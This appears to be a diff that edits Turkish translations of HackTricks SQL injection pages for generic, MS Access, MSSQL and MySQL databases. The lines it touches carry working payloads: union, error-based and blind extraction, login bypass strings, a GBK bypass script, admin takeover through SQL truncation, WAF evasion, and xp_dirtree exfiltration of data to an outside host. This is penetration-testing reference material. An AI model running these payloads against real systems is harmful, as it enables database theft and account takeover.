_Başka durumlarda sorgunun her iki tarafındaki sütunların türlerinin aynı olması gerektiğinden, `null` değerlerini kullanmalısınız ve null her durumda geçerlidir._
|
||||
_`null` değerlerini kullanmalısınız çünkü bazı durumlarda sorgunun her iki tarafındaki sütunların türü aynı olmalıdır ve null her durumda geçerlidir._
|
||||
|
||||
### Veritabanı adlarını, tablo adlarını ve sütun adlarını çıkarın
|
||||
|
||||
@ -187,17 +187,17 @@ _Bu verileri keşfetmenin her farklı veritabanında farklı bir yolu vardır, a
|
||||
|
||||
## Gizli Union Tabanlı Sömürü
|
||||
|
||||
Bir sorgunun çıktısı görünürken, ancak union tabanlı bir enjeksiyon mümkün görünmüyorsa, bu **gizli union tabanlı enjeksiyon** varlığını gösterir. Bu senaryo genellikle kör enjeksiyon durumuna yol açar. Kör enjeksiyonu union tabanlı bir hale dönüştürmek için, arka plandaki yürütme sorgusunun belirlenmesi gerekir.
|
||||
Bir sorgunun çıktısı görünürken, ancak union tabanlı bir enjeksiyon mümkün görünmüyorsa, bu **gizli union tabanlı enjeksiyon** varlığını gösterir. Bu senaryo genellikle kör enjeksiyon durumuna yol açar. Kör enjeksiyonu union tabanlı bir hale dönüştürmek için, arka plandaki yürütme sorgusunun anlaşılması gerekir.
|
||||
|
||||
Bu, hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tablolarla birlikte kör enjeksiyon tekniklerinin kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için, hedef DBMS'nin belgelerine başvurulması önerilir.
|
||||
Bu, kör enjeksiyon tekniklerinin yanı sıra hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tabloların kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için, hedef DBMS'nin belgelerine başvurulması önerilir.
|
||||
|
||||
Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatacak şekilde yükünüzü özelleştirmeniz gerekmektedir. Ardından, yükünüze bir union sorgusu eklenir ve bu, yeni erişilebilir union tabanlı enjeksiyonun sömürülmesini kolaylaştırır.
|
||||
|
||||
Daha kapsamlı bilgiler için, [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) adresindeki tam makaleye başvurun.
|
||||
Daha kapsamlı bilgiler için [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) makalesine başvurun.
|
||||
|
||||
## Hata Tabanlı Sömürü
|
||||
|
||||
Eğer bir sebepten dolayı **sorgunun** **çıkışını** göremiyorsanız ama **hata mesajlarını** görebiliyorsanız, bu hata mesajlarını veritabanından veri **sızdırmak** için kullanabilirsiniz.\
|
||||
Eğer bir sebepten dolayı **sorgunun** **çıkışını** göremiyorsanız ama **hata mesajlarını** görebiliyorsanız, bu hata mesajlarını veritabanından **veri sızdırmak** için kullanabilirsiniz.\
|
||||
Union Tabanlı sömürüdeki benzer bir akışı takip ederek veritabanını dökme işlemini gerçekleştirebilirsiniz.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
@ -211,7 +211,7 @@ Bu durumda, veritabanını karakter karakter dökmek için bu davranışı köt
|
||||
```
|
||||
## Hata Kör SQLi İstismarı
|
||||
|
||||
Bu, **önceki durumla aynı** ancak sorgudan gelen doğru/yanlış yanıtı ayırt etmek yerine, SQL sorgusunda bir **hata** olup olmadığını ayırt edebilirsiniz (belki HTTP sunucusu çöküyor). Bu nedenle, bu durumda doğru karakteri her tahmin ettiğinizde bir SQL hatası zorlayabilirsiniz:
|
||||
Bu, **önceki durumla aynı** ancak sorgudan gelen doğru/yanlış yanıtı ayırt etmek yerine, SQL sorgusundaki bir **hata** ile ayırt edebilirsiniz (belki HTTP sunucusu çöküyor). Bu nedenle, bu durumda doğru karakteri her tahmin ettiğinizde bir SQL hatası zorlayabilirsiniz:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
@ -223,7 +223,7 @@ Bu durumda, sayfanın bağlamına dayalı olarak sorgunun **yanıtını ayırt e
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
Yığın sorguları kullanarak **birden fazla sorguyu peş peşe çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya** **geri döndürülmez**. Bu nedenle, bu teknik esasen **kör zafiyetler** ile ilgilidir; burada bir DNS sorgusu, koşullu hata veya zaman gecikmesi tetiklemek için ikinci bir sorgu kullanabilirsiniz.
|
||||
Yığın sorguları kullanarak **birden fazla sorguyu peş peşe çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya** **geri döndürülmez**. Bu nedenle, bu teknik esasen **kör zafiyetler** ile ilgilidir; burada ikinci bir sorgu kullanarak bir DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz.
|
||||
|
||||
**Oracle** **yığın sorguları** desteklemez. **MySQL, Microsoft** ve **PostgreSQL** destekler: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
@ -253,7 +253,6 @@ SQL Injection zafiyetini sömürmenin tüm yollarını zaten tartıştık. Bu ki
|
||||
|
||||
Ya da **MySQL, PostgreSQL, Oracle, MSSQL, SQLite ve HQL ile ilgili birçok hileyi** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) adresinde bulabilirsiniz.
|
||||
|
||||
|
||||
## Kimlik Doğrulama Atlatma
|
||||
|
||||
Giriş işlevselliğini atlatmayı denemek için liste:
|
||||
@ -284,7 +283,7 @@ Kullanıcı adı olarak listenin her satırını ve şifre olarak her zaman: _**
|
||||
|
||||
### GBK Kimlik Doğrulama Atlatma
|
||||
|
||||
Eğer ' kaçış karakteri ile işleniyorsa %A8%27 kullanabilirsiniz ve ' kaçış karakteri ile işlendiğinde oluşturulacaktır: 0xA80x5c0x27 (_╘'_)
|
||||
Eğer ' kaçış yapılıyorsa %A8%27 kullanabilirsiniz ve ' kaçış yapıldığında şu oluşturulacaktır: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
@ -299,7 +298,7 @@ datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
|
||||
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
|
||||
print r.text
|
||||
```
|
||||
### Polyglot injection (çok bağlamlı)
|
||||
### Polyglot injection (multicontext)
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
@ -307,25 +306,25 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
### Mevcut nesne/kullanıcının şifresini değiştirme
|
||||
|
||||
Bunu yapmak için **"master object"** olarak adlandırılan yeni bir nesne **oluşturmaya** çalışmalısınız (kullanıcılar için muhtemelen **admin**):
|
||||
Bunu yapmak için **"master object"** olarak adlandırılan yeni bir nesne **oluşturmaya çalışmalısınız** (kullanıcılar için muhtemelen **admin**):
|
||||
|
||||
- Adı: **AdMIn** olan bir kullanıcı oluşturun (büyük & küçük harfler)
|
||||
- Adı: **admin=** olan bir kullanıcı oluşturun
|
||||
- Adı **AdMIn** olan bir kullanıcı oluşturun (büyük & küçük harfler)
|
||||
- Adı **admin=** olan bir kullanıcı oluşturun
|
||||
- **SQL Truncation Attack** (kullanıcı adı veya e-posta için bir tür **uzunluk sınırı** olduğunda) --> Adı: **admin \[bir sürü boşluk] a** olan bir kullanıcı oluşturun
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Eğer veritabanı savunmasızsa ve kullanıcı adı için maksimum karakter sayısı örneğin 30 ise ve **admin** kullanıcısını taklit etmek istiyorsanız, "_admin \[30 boşluk] a_" adında bir kullanıcı adı oluşturmaya çalışın ve herhangi bir şifre belirleyin.
|
||||
|
||||
Veritabanı, girilen **kullanıcı adının** veritabanında **var olup olmadığını** **kontrol edecektir**. Eğer **yoksa**, **kullanıcı adını** **izin verilen maksimum karakter sayısına** (bu durumda: "_admin \[25 boşluk]_") **kesecek** ve ardından veritabanında kullanıcıyı "**admin**" **yeni şifreyle** güncelleyerek **sonundaki tüm boşlukları otomatik olarak kaldıracaktır** (bazı hatalar ortaya çıkabilir ama bu, işlemin çalışmadığı anlamına gelmez).
|
||||
Veritabanı, girilen **kullanıcı adının** veritabanında **var olup olmadığını** **kontrol edecektir**. Eğer **yoksa**, **kullanıcı adını** **izin verilen maksimum karakter sayısına** (bu durumda: "_admin \[25 boşluk]_") **kesecek** ve ardından veritabanında kullanıcıyı "**admin**" olarak **güncelleyerek sonundaki tüm boşlukları otomatik olarak kaldıracaktır** (bazı hatalar ortaya çıkabilir ama bu, işlemin çalışmadığı anlamına gelmez).
|
||||
|
||||
Daha fazla bilgi: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Not: Bu saldırı, en son MySQL kurulumlarında yukarıda açıklandığı gibi artık çalışmayacaktır. Karşılaştırmalar varsayılan olarak son boşlukları göz ardı etse de, bir alanın uzunluğundan daha uzun bir dize eklemeye çalışmak bir hataya yol açacak ve ekleme başarısız olacaktır. Bu kontrol hakkında daha fazla bilgi için:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Not: Bu saldırı, en son MySQL kurulumlarında yukarıda açıklandığı gibi artık çalışmayacaktır. Karşılaştırmalar varsayılan olarak son boşlukları göz ardı etmeye devam etse de, bir alanın uzunluğundan daha uzun bir dize eklemeye çalışmak bir hataya yol açacak ve ekleme başarısız olacaktır. Bu kontrol hakkında daha fazla bilgi için:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### MySQL Ekleme zaman tabanlı kontrol
|
||||
|
||||
VALUES ifadesinden çıkmak için düşündüğünüz kadar `','',''` ekleyin. Eğer gecikme gerçekleşirse, bir SQLInjection vardır.
|
||||
VALUES ifadesinden çıkmak için düşündüğünüz kadar `','',''` ekleyin. Eğer gecikme gerçekleşirse, bir SQLInjection'a sahipsiniz.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
@ -343,7 +342,7 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
|
||||
|
||||
- Sorgu, `generic_user@example.com` için bir ve `admin_generic@example.com` için başka bir satır eklemeye çalışır.
|
||||
- Eğer `admin_generic@example.com` için satır zaten mevcutsa, `ON DUPLICATE KEY UPDATE` ifadesi tetiklenir ve MySQL'e mevcut satırın `password` alanını "bcrypt_hash_of_newpassword" olarak güncellemesi talimatı verilir.
|
||||
- Sonuç olarak, `admin_generic@example.com` ile bcrypt hash'ine karşılık gelen şifre kullanılarak kimlik doğrulama yapılmaya çalışılabilir ("bcrypt_hash_of_newpassword", istenen şifrenin gerçek hash'i ile değiştirilmesi gereken yeni şifrenin bcrypt hash'ini temsil eder).
|
||||
- Sonuç olarak, `admin_generic@example.com` ile bcrypt hash'ine karşılık gelen şifre ile kimlik doğrulama yapılmaya çalışılabilir ("bcrypt_hash_of_newpassword", istenen şifrenin gerçek hash'i ile değiştirilmesi gereken yeni şifrenin bcrypt hash'ini temsil eder).
|
||||
|
||||
### Bilgi çıkarma
|
||||
|
||||
@ -409,9 +408,9 @@ No Whitespace - parantez kullanarak atlatma
|
||||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### Virgül bypass
|
||||
### Virgül atlama
|
||||
|
||||
Virgül - OFFSET, FROM ve JOIN kullanarak bypass
|
||||
Virgül - OFFSET, FROM ve JOIN kullanarak atlama
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
@ -444,9 +443,9 @@ Temelde, WAF'ı atlatmak için bilimsel notasyonu beklenmedik şekillerde kullan
|
||||
```
|
||||
### Sütun İsimleri Kısıtlamasını Aşma
|
||||
|
||||
Öncelikle, **orijinal sorgu ile bayrağı almak istediğiniz tablonun aynı sayıda sütuna sahip olduğunu** unutmayın, sadece şunu yapabilirsiniz: `0 UNION SELECT * FROM flag`
|
||||
Öncelikle, **orijinal sorgu ile bayrağı almak istediğiniz tablonun aynı sayıda sütuna sahip olduğunu fark edin**; bu durumda sadece şunu yapabilirsiniz: `0 UNION SELECT * FROM flag`
|
||||
|
||||
Bir tablonun **üçüncü sütununa ismini kullanmadan erişmek** mümkündür, aşağıdaki gibi bir sorgu kullanarak: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, bu nedenle bir sqlinjection'da bu şöyle görünecektir:
|
||||
Bir tablonun **üçüncü sütununa ismini kullanmadan erişmek mümkündür**; aşağıdaki gibi bir sorgu ile: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, bu nedenle bir sqlinjection'da bu şöyle görünecektir:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
|
||||
@ -39,9 +39,9 @@ Just like TOP you can use **`LAST`** which will get the **satırları sonundan**
|
||||
|
||||
## UNION Sorguları/Alt sorgular
|
||||
|
||||
Bir SQLi'de genellikle başka tablolardan bilgi çıkarmak için yeni bir sorgu çalıştırmak istersiniz. MS Access her zaman **alt sorgularda veya ek sorgularda bir `FROM` belirtilmesini gerektirir**.\
|
||||
Bir SQLi'de genellikle diğer tablolardan bilgi çıkarmak için yeni bir sorgu çalıştırmak istersiniz. MS Access her zaman **alt sorgularda veya ek sorgularda bir `FROM` belirtilmesini** gerektirir.\
|
||||
Bu nedenle, bir `UNION SELECT` veya `UNION ALL SELECT` veya bir koşul içinde parantez içindeki bir `SELECT` çalıştırmak istiyorsanız, her zaman **geçerli bir tablo adı ile bir `FROM` belirtmeniz gerekir**.\
|
||||
Bu nedenle, **geçerli bir tablo adı** bilmeniz gerekir.
|
||||
Bu nedenle, **geçerli bir tablo adını** bilmeniz gerekir.
|
||||
```sql
|
||||
-1' UNION SELECT username,password from users%00
|
||||
```
|
||||
@ -50,21 +50,21 @@ Bu nedenle, **geçerli bir tablo adı** bilmeniz gerekir.
|
||||
> [!WARNING]
|
||||
> Bu, mevcut tablonun değerlerini tablonun adını bilmeden dışa aktarmanıza olanak tanır.
|
||||
|
||||
**MS Access**, **`'1'=2='3'='asd'=false`** gibi **garip sözdizimlerine** izin verir. Genellikle SQL enjeksiyonu bir **`WHERE`** ifadesinin içinde olacaktır, bunu kötüye kullanabiliriz.
|
||||
**MS Access**, **`'1'=2='3'='asd'=false`** gibi **garip sözdizimlerine** izin verir. Genellikle SQL enjeksiyonu bir **`WHERE`** ifadesinin içinde olacağından bunu kötüye kullanabiliriz.
|
||||
|
||||
Bir MS Access veritabanında bir SQLi'ye sahip olduğunuzu ve bir **sütun adının username** olduğunu bildiğinizi (veya tahmin ettiğinizi) hayal edin ve dışa aktarmak istediğiniz alan budur. Chaining equals tekniği kullanıldığında web uygulamasının farklı yanıtlarını kontrol edebilir ve **Mid** fonksiyonunu kullanarak alt dizeleri almak için **boolean injection** ile içerik dışa aktarabilirsiniz.
|
||||
Bir MS Access veritabanında bir SQLi'ye sahip olduğunuzu ve bir **sütun adının username** olduğunu bildiğinizi (veya tahmin ettiğinizi) hayal edin ve dışa aktarmak istediğiniz alan bu. Chaining equals tekniği kullanıldığında web uygulamasının farklı yanıtlarını kontrol edebilir ve **Mid** fonksiyonunu kullanarak alt dizeleri elde etmek için potansiyel olarak bir **boolean injection** ile içerik dışa aktarabilirsiniz.
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
Eğer **tablonun adı** ve **dökülecek sütun** biliniyorsa, `Mid`, `LAST` ve `TOP` kombinasyonunu kullanarak **tüm bilgileri sızdırmak** için boolean SQLi kullanabilirsiniz:
|
||||
Eğer **tablonun adını** ve **dökülecek sütunu** biliyorsanız, `Mid`, `LAST` ve `TOP` kombinasyonunu kullanarak **tüm bilgileri sızdırmak** için boolean SQLi kullanabilirsiniz:
|
||||
```sql
|
||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||
```
|
||||
_Feel free to check this in the online playground._
|
||||
|
||||
### Brute-forcing Tables names
|
||||
### Tablo İsimlerini Brute-force Etme
|
||||
|
||||
Chaining equals tekniğini kullanarak **tablo adlarını brute force** etmek için şunları kullanabilirsiniz:
|
||||
Chaining equals tekniğini kullanarak, **tablo isimlerini brute-force** etmek için şöyle bir şey yapabilirsiniz:
|
||||
```sql
|
||||
'=(select+top+1+'lala'+from+<table_name>)='
|
||||
```
|
||||
@ -75,11 +75,11 @@ Ayrıca daha geleneksel bir yol da kullanabilirsiniz:
|
||||
_Feel free to check this in the online playground._
|
||||
|
||||
- Sqlmap yaygın tablo adları: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) adresinde başka bir liste var.
|
||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) adresinde başka bir liste bulunmaktadır.
|
||||
|
||||
### Sütun adlarını Brute-Force ile Bulma
|
||||
|
||||
Mevcut sütun adlarını **brute-force ile bulabilirsiniz** eşit zincirleme hilesi ile:
|
||||
Mevcut sütun adlarını **brute-force** yöntemiyle eşitlik zinciri hilesi ile bulabilirsiniz:
|
||||
```sql
|
||||
'=column_name='
|
||||
```
|
||||
@ -95,7 +95,7 @@ Veya **farklı bir tablonun** sütun adlarını brute-force ile bulabilirsiniz:
|
||||
```
|
||||
### Veri Dökümü
|
||||
|
||||
Zaten [**eşitleri zincirleme tekniği**](ms-access-sql-injection.md#chaining-equals-+-substring) **ile mevcut ve diğer tablolardan veri dökümünü** tartıştık. Ancak başka yollar da var:
|
||||
Zaten [**eşitleri zincirleme tekniği**](ms-access-sql-injection.md#chaining-equals-+-substring) **ile mevcut ve diğer tablolardan veri dökme** konusunu tartıştık. Ancak başka yollar da var:
|
||||
```sql
|
||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||
```
|
||||
@ -116,7 +116,7 @@ Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=
|
||||
|
||||
## Tabloları Sayma
|
||||
|
||||
From [**here**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) you can see a query to get tables names:
|
||||
[**buradan**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) tablo adlarını almak için bir sorgu görebilirsiniz:
|
||||
```sql
|
||||
select MSysObjects.name
|
||||
from MSysObjects
|
||||
@ -144,7 +144,7 @@ Aşağıdaki saldırı vektörü, **uzaktaki dosya sisteminde bir dosyanın varl
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||
|
||||
Dosyaları saymanın bir diğer yolu, **bir veritabanı.tablosu öğesini belirtmektir**. **Eğer** belirtilen **dosya mevcutsa**, MS Access, **veritabanı format hatası mesajı** gösterir.
|
||||
Dosyaları saymanın bir diğer yolu, **bir veritabanı.tablosu öğesi belirtmektir**. **Eğer** belirtilen **dosya mevcutsa**, MS Access, **veritabanı format hatası mesajı** gösterir.
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
||||
|
||||
|
||||
@ -4,12 +4,12 @@
|
||||
|
||||
## Active Directory enumeration
|
||||
|
||||
**MSSQL** sunucusu içinde SQL enjeksiyonu ile **alan kullanıcılarını listelemek** mümkün olabilir, aşağıdaki MSSQL fonksiyonlarını kullanarak:
|
||||
**MSSQL** sunucusu içinde SQL injection ile **alan kullanıcılarını listelemek** mümkün olabilir, aşağıdaki MSSQL fonksiyonlarını kullanarak:
|
||||
|
||||
- **`SELECT DEFAULT_DOMAIN()`**: Mevcut alan adını alır.
|
||||
- **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Alan adının adını biliyorsanız (_DOMAIN_ bu örnekte) bu fonksiyon **Yönetici kullanıcısının SID'sini** hex formatında döndürecektir. Bu, `0x01050000000[...]0000f401` gibi görünecektir, **son 4 byte'ın** **500** sayısı olduğunu not edin, bu da **yönetici kullanıcısının ortak kimliğidir**.\
|
||||
Bu fonksiyon, **alanın ID'sini bilmenizi** sağlayacaktır (son 4 byte hariç tüm byte'lar).
|
||||
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Bu fonksiyon, belirtilen **ID'nin kullanıcı adını** döndürecektir (varsa), bu durumda **0000e803** big endian == **1000** (genellikle bu, oluşturulan ilk normal kullanıcı ID'sidir). O zaman 1000'den 2000'e kadar kullanıcı ID'lerini brute-force yapabileceğinizi ve muhtemelen alan kullanıcılarının tüm kullanıcı adlarını alabileceğinizi hayal edebilirsiniz. Örneğin, aşağıdaki gibi bir fonksiyon kullanarak:
|
||||
Bu fonksiyon, **alanın ID'sini bilmenizi** sağlar (son 4 byte hariç tüm byte'lar).
|
||||
- **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Bu fonksiyon, belirtilen **ID'nin kullanıcı adını** döndürecektir (varsa), bu durumda **0000e803** big endian == **1000** (genellikle bu, oluşturulan ilk normal kullanıcı ID'sidir). Sonra, 1000 ile 2000 arasındaki kullanıcı ID'lerini brute-force yapabileceğinizi ve muhtemelen alan kullanıcılarının tüm kullanıcı adlarını alabileceğinizi hayal edebilirsiniz. Örneğin, aşağıdaki gibi bir fonksiyon kullanarak:
|
||||
```python
|
||||
def get_sid(n):
|
||||
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
||||
@ -19,7 +19,7 @@ return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
|
||||
```
|
||||
## **Alternatif Hata Tabanlı Vektörler**
|
||||
|
||||
Hata tabanlı SQL enjeksiyonları genellikle `+AND+1=@@version--` gibi yapıları ve «OR» operatörüne dayanan varyantları andırır. Bu tür ifadeleri içeren sorgular genellikle WAF'lar tarafından engellenir. Bir geçiş yolu olarak, aranan veriler üzerinde bir veri türü dönüşüm hatası tetikleyen belirli fonksiyon çağrılarının sonucuyla %2b karakterini kullanarak bir dize birleştirin.
|
||||
Hata tabanlı SQL enjeksiyonları genellikle `+AND+1=@@version--` gibi yapıları ve «OR» operatörüne dayanan varyantları andırır. Bu tür ifadeleri içeren sorgular genellikle WAF'lar tarafından engellenir. Bir geçiş olarak, aranan verilerde bir veri türü dönüşüm hatası tetikleyen belirli fonksiyon çağrılarının sonucuyla %2b karakterini kullanarak bir dize birleştirin.
|
||||
|
||||
Bu tür fonksiyonlardan bazı örnekler:
|
||||
|
||||
@ -85,9 +85,9 @@ EXEC sp_helprotect 'fn_trace_gettabe';
|
||||
```
|
||||
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
|
||||
|
||||
Microsoft tarafından resmi olarak belgelenmemiş olmasına rağmen, `xp_dirtree` gibi saklı yordamlar, MSSQL içindeki ağ işlemlerindeki faydaları nedeniyle çevrimiçi olarak başkaları tarafından tanımlanmıştır. Bu yordamlar genellikle Out of Band Data exfiltration'da kullanılır, çeşitli [örneklerde](https://www.notsosecure.com/oob-exploitation-cheatsheet/) ve [paylaşımlarda](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) gösterildiği gibi.
|
||||
Microsoft tarafından resmi olarak belgelenmemiş olmasına rağmen, `xp_dirtree` gibi saklı yordamlar, MSSQL içindeki ağ işlemlerindeki faydaları nedeniyle çevrimiçi olarak başkaları tarafından tanımlanmıştır. Bu yordamlar genellikle Out of Band Veri sızdırma işlemlerinde kullanılır; çeşitli [örneklerde](https://www.notsosecure.com/oob-exploitation-cheatsheet/) ve [paylaşımlarda](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) sergilenmiştir.
|
||||
|
||||
Örneğin, `xp_dirtree` saklı yordamı, ağ istekleri yapmak için kullanılır, ancak yalnızca TCP port 445 ile sınırlıdır. Port numarası değiştirilemez, ancak ağ paylaşımlarından okuma yapmaya izin verir. Kullanımı aşağıdaki SQL scriptinde gösterilmektedir:
|
||||
Örneğin, `xp_dirtree` saklı yordamı, ağ istekleri yapmak için kullanılır, ancak yalnızca TCP port 445 ile sınırlıdır. Port numarası değiştirilemez, ancak ağ paylaşımlarından okuma yapmaya olanak tanır. Kullanımı aşağıdaki SQL betiğinde gösterilmektedir:
|
||||
```sql
|
||||
DECLARE @user varchar(100);
|
||||
SELECT @user = (SELECT user);
|
||||
@ -111,7 +111,7 @@ Açıkça, bir **SSRF** tetikleyen bir şeyi **çalıştırmak** için **`xp_cmd
|
||||
|
||||
Binary'nin MSSQL'e CLR derlemesi olarak yüklenmesini kolaylaştırmak için [bu Github deposunda](https://github.com/infiniteloopltd/SQLHttp) bir Visual Studio projesi ve kurulum talimatları sağlanmıştır; böylece MSSQL içinden HTTP GET isteklerinin yürütülmesi sağlanmaktadır.
|
||||
|
||||
Bu işlevselliğin temeli, bir GET isteği yürütmek ve içeriği almak için `WebClient` sınıfını kullanan `http.cs` dosyasında kapsüllenmiştir; aşağıda gösterildiği gibi:
|
||||
Bu işlevselliğin temeli, bir GET isteği yürütmek ve içerik almak için `WebClient` sınıfını kullanan `http.cs` dosyasında kapsüllenmiştir; aşağıda gösterildiği gibi:
|
||||
```csharp
|
||||
using System.Data.SqlTypes;
|
||||
using System.Net;
|
||||
@ -127,7 +127,7 @@ return new SqlString(html);
|
||||
}
|
||||
}
|
||||
```
|
||||
`CREATE ASSEMBLY` SQL komutunu çalıştırmadan önce, derlemenin SHA512 hash'ini sunucunun güvenilir derlemeler listesine eklemek için aşağıdaki SQL kodunu çalıştırmanız önerilir (görüntülemek için `select * from sys.trusted_assemblies;`):
|
||||
`CREATE ASSEMBLY` SQL komutunu çalıştırmadan önce, assembly'nin SHA512 hash'ini sunucunun güvenilir assembly'ler listesine eklemek için aşağıdaki SQL kodunu çalıştırmanız önerilir (görüntülemek için `select * from sys.trusted_assemblies;`):
|
||||
```sql
|
||||
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
|
||||
```
|
||||
@ -141,7 +141,7 @@ SELECT dbo.http(@url);
|
||||
|
||||
[Buradan hile](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
|
||||
|
||||
Tek bir sorguda bir tablonun tam içeriğini çıkarmak için kullanılan özlü bir yöntem, `FOR JSON` ifadesini kullanmaktır. Bu yaklaşım, "ham" gibi belirli bir moda ihtiyaç duyan `FOR XML` ifadesine göre daha kısadır. Kısalığı nedeniyle `FOR JSON` ifadesi tercih edilmektedir.
|
||||
Tek bir sorguda bir tablonun tam içeriğini çıkarmak için kullanılan özlü bir yöntem, `FOR JSON` ifadesini kullanmaktır. Bu yaklaşım, "raw" gibi belirli bir moda ihtiyaç duyan `FOR XML` ifadesine göre daha kısadır. Kısalığı nedeniyle `FOR JSON` ifadesi tercih edilmektedir.
|
||||
|
||||
İşte mevcut veritabanından şemayı, tabloları ve sütunları nasıl alacağınız:
|
||||
````sql
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# MySQL enjeksiyonu
|
||||
# MySQL injection
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -117,7 +117,7 @@ Daha fazla bilgi için lütfen [bu blog yazısına](https://karmainsecurity.com/
|
||||
|
||||
Unutmayın ki **MySQL**'in "modern" sürümlerinde _**information_schema.tables**_ yerine _**mysql.innodb_table_stats**_ veya _**sys.x$schema_flattened_keys**_ veya **sys.schema_table_statistics** kullanabilirsiniz.
|
||||
|
||||
### MySQL enjeksiyonu VIRGÜL OLMADAN
|
||||
### MySQL enjeksiyonu KOMALAR olmadan
|
||||
|
||||
Herhangi bir virgül kullanmadan 2 sütun seçin ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||||
```
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
